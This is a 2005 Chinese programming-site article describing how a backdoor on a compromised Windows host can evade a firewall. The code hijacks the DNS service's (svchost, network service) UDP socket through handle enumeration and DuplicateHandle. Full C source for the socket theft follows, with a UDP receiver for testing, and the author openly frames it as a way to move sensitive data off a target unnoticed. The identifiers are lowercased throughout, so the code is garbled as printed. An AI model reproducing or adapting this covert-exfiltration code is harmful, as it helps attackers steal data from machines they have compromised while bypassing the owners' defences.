搜索文章:

首页  |  Java技术  |  Asp.net  |  Asp编程  |  VC/C++  |  Delphi  |  VB编程

一种新的穿透防火墙的数据传输技术

一种新的穿透_blank">防火墙的数据传输技术

author : zwell
email : zwell@sohu.com
date : 2005.4.12

使用该技术背景:
在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况"严重"不推荐使用该技术(后面我会讲到为什么).

针对目前_blank">防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦.
相反,有一点我们也很清楚:被_blank">防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单:
将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:

1. 找出目标进程
2. 找出socket句柄
2. 用duplicatehandle()函数将其socket转换为能被自己使用.
3. 用转换后的socket进行数据传输

上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也
可以看出一些不爽的地方:在目标进程的socket不能是tcp,因为tcp的句柄已经跟外面建立了连接,所以只能是udp.
针对不同系统不同进程我们很难定位一个稳定的进程socket.

看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实我们有一条真正的通罗马的"黄金大道".

我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是dns.你能想像域名解析数据都被
拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是udp传输, 我们就拿他开刀...

下面是通过直接控制dns进程(其实也就是svchost.exe,不过对应用户名是network service)进行数据传输的例子.
编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作local service),在句柄值为0x2c时进行getsockname时会停止运行等等.

具体解决方法请细看注释部分...

/*++

made by zwell
zwell@sohu.com
2005.4.12
--*/

#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>

#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")

#define nt_success(status) ((ntstatus)(status)>=0)
#define status_info_length_mismatch ((ntstatus)0xc0000004l)

typedef long ntstatus;

typedef struct _system_handle_information
{
ulong processid;
uchar objecttypenumber;
uchar flags;
ushort handle;
pvoid object;
access_mask grantedaccess;
} system_handle_information, *psystem_handle_information;

typedef ulong (winapi *zwquerysysteminformation)(ulong, pvoid, ulong, pulong);

zwquerysysteminformation zwquerysysteminformation = null;

bool locatentdllentry ( void )
{
bool ret = false;
char ntdll_dll[] = "ntdll.dll";
hmodule ntdll_dll = null;


if ( ( ntdll_dll = getmodulehandle( ntdll_dll ) ) == null )
{
printf( "getmodulehandle() failed");
return( false );
}
if ( !( zwquerysysteminformation = ( zwquerysysteminformation )getprocaddress( ntdll_dll, "zwquerysysteminformation" ) ) )
{
goto locatentdllentry_exit;
}
ret = true;

locatentdllentry_exit:

if ( false == ret )
{
printf( "getprocaddress() failed");
}
ntdll_dll = null;
return( ret );
}


/*++
this routine is used to get a process's username from it's sid
--*/
bool getusernamefromsid(psid pusersid, char *szusername)
{
// sanity checks and default value
if (pusersid == null)
return false;
strcpy(szusername, "?");

sid_name_use snu;
tchar szuser[_max_path];
dword chuser = _max_path;
pdword pcchuser = &chuser;
tchar szdomain[_max_path];
dword chdomain = _max_path;
pdword pcchdomain = &chdomain;

// retrieve user name and domain name based on user's sid.
if (
::lookupaccountsid(
null,
pusersid,
szuser,
pcchuser,
szdomain,
pcchdomain,
&snu
)
)
{
wsprintf(szusername, "%s", szuser);
}
else
{
return false;
}

return true;
}


/*++

this routine is used to get the dns process's id

here, i use wtsenumerateprocesses to get process user sid,
and then get the process user name. beacause as it's a "network service",
we cann't use openprocesstoken to catch the dns process's token information,
even if we has the privilege in catching the system's.

--*/
dword getdnsprocessid()
{
pwts_process_info pprocessinfo = null;
dword processcount = 0;
char szusername[255];
dword id = -1;

if (wtsenumerateprocesses(wts_current_server_handle, 0, 1, &pprocessinfo, &processcount))
{
// dump each process description
for (dword currentprocess = 0; currentprocess < processcount; currentprocess++)
{

if( strcmp(pprocessinfo[currentprocess].pprocessname, "svchost.exe") == 0 )
{
getusernamefromsid(pprocessinfo[currentprocess].pusersid, szusername);
if( strcmp(szusername, "network service") == 0)
{
id = pprocessinfo[currentprocess].processid;
break;
}
}
}

wtsfreememory(pprocessinfo);
}

return id;
}


/*++
this doesn't work as we know, sign...
but you can use the routine for other useing...
--*/
/*
bool getprocessuserfromid(char *szaccountname, dword pid)
{
handle hprocess = null,
haccesstoken = null;
tchar infobuffer[1000], szdomainname[200];
ptoken_user ptokenuser = (ptoken_user)infobuffer;
dword dwinfobuffersize,dwaccountsize = 200, dwdomainsize = 200;
sid_name_use snu;

hprocess = openprocess(process_query_information, false, pid);
if(hprocess == null)
{
printf("openprocess wrong");
closehandle(hprocess);
return false;
}

if(0 == openprocesstoken(hprocess,token_query,&haccesstoken))
{
printf("openprocesstoken wrong:%08x", getlasterror());
return false;
}

gettokeninformation(haccesstoken,tokenuser,infobuffer,
1000, &dwinfobuffersize);

lookupaccountsid(null, ptokenuser->user.sid, szaccountname,
&dwaccountsize,szdomainname, &dwdomainsize, &snu);

if(hprocess)
closehandle(hprocess);
if(haccesstoken)
closehandle(haccesstoken);
return true;
}*/


/*++
now, it is the most important stuff... ^_^
--*/
socket getsocketfromid (dword pid)
{
ntstatus status;
pvoid buf = null;
ulong size = 1;
ulong numofhandle = 0;
ulong i;
psystem_handle_information h_info = null;
handle sock = null;
dword n;

buf=malloc(0x1000);
if(buf == null)
{
printf("malloc wrong\n");
return null;
}
status = zwquerysysteminformation( 0x10, buf, 0x1000, &n );
if(status_info_length_mismatch == status)
{
free(buf);
buf=malloc(n);
if(buf == null)
{
printf("malloc wrong\n");
return null;
}
status = zwquerysysteminformation( 0x10, buf, n, null);
}
else
{
printf("zwquerysysteminformation wrong\n");
return null;
}

numofhandle = *(ulong*)buf;

h_info = ( psystem_handle_information )((ulong)buf+4);

for(i = 0; i<numofhandle ;i++)
{
try
{
if( ( h_info[i].processid == pid ) && ( h_info[i].objecttypenumber == 0x1c )
&& (h_info[i].handle!=0x2c) // i don't know why if the handle equal to 0x2c, in my test, it stops at getsockname()
// so i jump over this situation...
// may be it's different in your system,
) //wind2000 is 0x1a
{
//printf("handle:0x%x type:%08x\n",h_info[i].handle, h_info[i].objecttypenumber);
if( 0 == duplicatehandle(
openprocess(process_all_access, true, pid),
(handle)h_info[i].handle,
getcurrentprocess(),
&sock,
standard_rights_required,
true,
duplicate_same_access)
)
{
printf("duplicatehandle wrong:%8x", getlasterror());
continue;
}

//printf("duplicatehandle ok\n");
sockaddr_in name = {0};
name.sin_family = af_inet;
int namelen = sizeof(sockaddr_in);
getsockname( (socket)sock, (sockaddr*)&name, &namelen );
//printf("port=%5d\n", ntohs( name.sin_port ));
if(ntohs(name.sin_port)>0) // if port > 0, then we can use it
break;
}
}
catch(...)
{
continue;
}
}

if ( buf != null )
{
free( buf );
}
return (socket)sock;
}


/*++
this is not required...
--*/
bool enableprivilege (pcstr name)
{
handle htoken;
bool rv;

token_privileges priv = { 1, {0, 0, se_privilege_enabled} };
lookupprivilegevalue (
0,
name,
&priv.privileges[0].luid
);

priv.privileges[0].attributes = se_privilege_enabled;

openprocesstoken(
getcurrentprocess (),
token_adjust_privileges,
&htoken
);

adjusttokenprivileges (
htoken,
false,
&priv,
sizeof priv,
0,
0
);

rv = getlasterror () == error_success;

closehandle (htoken);
return rv;
}

void main()
{
wsadata wsadata;
char testbuf[255];
socket sock;
sockaddr_in recvaddr;

int iresult = wsastartup(makeword(2,2), &wsadata);
if (iresult != no_error)
printf("error at wsastartup()\n");

if(!locatentdllentry())
return;

if(!enableprivilege (se_debug_name))
{
printf("enableprivilege wrong\n");
return;
}

sock = getsocketfromid(getdnsprocessid());
if( sock==null)
{
printf("getsocketfromid wrong\n");
return;
}

//change there value...
recvaddr.sin_family = af_inet;
recvaddr.sin_port = htons(5555);
recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

if(socket_error == sendto(sock,
"test",
5,
0,
(sockaddr *) &recvaddr,
sizeof(recvaddr)))
{
printf("sendto wrong:%d\n", wsagetlasterror());
}
else
{
printf("send ok... have fun, right? ^_^\n");
}

getchar();

//wsacleanup();
return;
}


很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中,
因为要找出dns进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用openprocesstoken,
但是怎么也不行,所以换个方法.用到了wtsapi32库函数.

再用下面的代码测试:


/*++
udpreceiver
--*/
#include <stdio.h>
#include "winsock2.h"

#pragma comment(lib, "ws2_32")

void main()
{
wsadata wsadata;
socket recvsocket;
sockaddr_in recvaddr;
int port = 5555;
char recvbuf[1024];
int buflen = 1024;
sockaddr_in senderaddr;
int senderaddrsize = sizeof(senderaddr);

//-----------------------------------------------
// initialize winsock
wsastartup(makeword(2,2), &wsadata);

//-----------------------------------------------
// create a receiver socket to receive datagrams
recvsocket = socket(af_inet, sock_dgram, ipproto_udp);

//-----------------------------------------------
// bind the socket to any address and the specified port.
recvaddr.sin_family = af_inet;
recvaddr.sin_port = htons(port);
recvaddr.sin_addr.s_addr = htonl(inaddr_any);

bind(recvsocket, (sockaddr *) &recvaddr, sizeof(recvaddr));

//-----------------------------------------------
// call the recvfrom function to receive datagrams
// on the bound socket.
printf("receiving datagrams...\n");
while(1)
{
recvfrom(recvsocket,
recvbuf,
buflen,
0,
(sockaddr *)&senderaddr,
&senderaddrsize);
printf("%s\n", recvbuf);
}

//-----------------------------------------------
// close the socket when finished receiving datagrams
printf("finished receiving. closing socket.\n");
closesocket(recvsocket);

//-----------------------------------------------
// clean up and exit.
printf("exiting.\n");
wsacleanup();
return;
}
相关文章:
© 2006   www.java-asp.net